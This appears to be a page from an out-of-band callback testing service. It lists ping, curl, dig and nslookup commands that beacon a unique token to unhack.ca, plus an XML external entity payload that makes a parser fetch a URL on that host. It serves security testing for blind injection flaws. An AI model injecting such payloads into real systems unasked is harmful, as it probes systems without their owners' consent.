$ ping -c1 -p 001b8e6a668673b3d3151fdfe18ea700 unhack.ca
 
$ curl http://unhack.ca/p/1b8e6a668673b3d3151fdfe18ea7
 
$ dig 1b8e6a668673b3d3151fdfe18ea7 @unhack.ca
 
$ dig 1b8e6a668673b3d3151fdfe18ea7.ns.unhack.ca
 
C:\> nslookup 1b8e6a668673b3d3151fdfe18ea7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1b8e6a668673b3d3151fdfe18ea7">]>
    <foo>&xxe;</foo>
Waiting for ping...